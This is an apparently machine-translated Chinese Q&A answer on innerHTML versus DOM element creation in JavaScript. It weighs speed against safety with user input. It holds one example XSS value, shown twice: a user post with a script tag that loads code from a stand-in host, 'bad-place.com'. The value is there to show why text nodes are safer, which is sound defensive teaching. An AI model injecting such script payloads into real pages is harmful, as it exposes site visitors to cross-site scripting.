他們都是 「正確的」。兩者在不同的時間用於不同的目的都很有用。
例如,在頁面速度方面,這幾天它的速度更快,只是這樣做:
document.body.innerHTML = "<header>....big string o' html text</footer>";
瀏覽器會吐出來在瞬間。爲了安全起見,在處理用戶輸入時,構建元素,將它們附加到documentFragment
然後將它們附加到DOM(或者用新版本或其他方式替換DOM節點)會更安全。
考慮:
var userPost = "My name is Bob.<script src=\"//bad-place.com/awful-things.js\"></script>",
paragraph = "<p>" + userPost + "</p>";
commentList.innerHTML += paragraph;
對戰:
var userPost = "My name is Bob.<script src=\"//bad-place.com/awful-things.js\"></script>",
paragraph = document.createElement("p");
paragraph.appendChild(document.createTextNode(userPost));
commentList.appendChild(paragraph);
人做不好的事情,一個沒有。
當然,您不必創建textNodes
,您可以使用innerText
或textContent
或其他任何(瀏覽器將自行創建文本節點)。
但是重要的是要考慮你分享什麼和如何。
如果它來自您信任的地方以外的任何地方(除非您提供靜態頁面,在這種情況下,爲什麼要構建html?),那麼您應該牢記注入 - - 只有你想要注射的東西應該是。
感謝大家的回覆。無論如何,這個最清楚地說明了這個區別。 – aapis 2012-08-03 18:40:20